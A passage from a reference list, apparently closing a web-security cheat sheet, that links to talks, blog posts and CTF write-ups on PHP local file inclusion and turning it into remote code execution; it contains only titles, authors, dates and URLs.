[It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - Aug 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://highon.coffee/blog/lfi-cheat-sheet/) * [LFI2RCE via PHP Filters - HackTricks - 19/07/2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters) * [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [New PHP Exploitation Technique - Dr. Johannes Dahse - 14 Aug 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - 14 June 2024](https://youtu.be/dqKFHjcK9hM) * [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin - Feb 20, 2023](https://hackmd.io/@ginoah/phpInclude#/) * [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) * [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) * [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376) * [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) * [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - Dec 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) * [Testing for Local File Inclusion - OWASP - 25 June 2017](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241) * [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)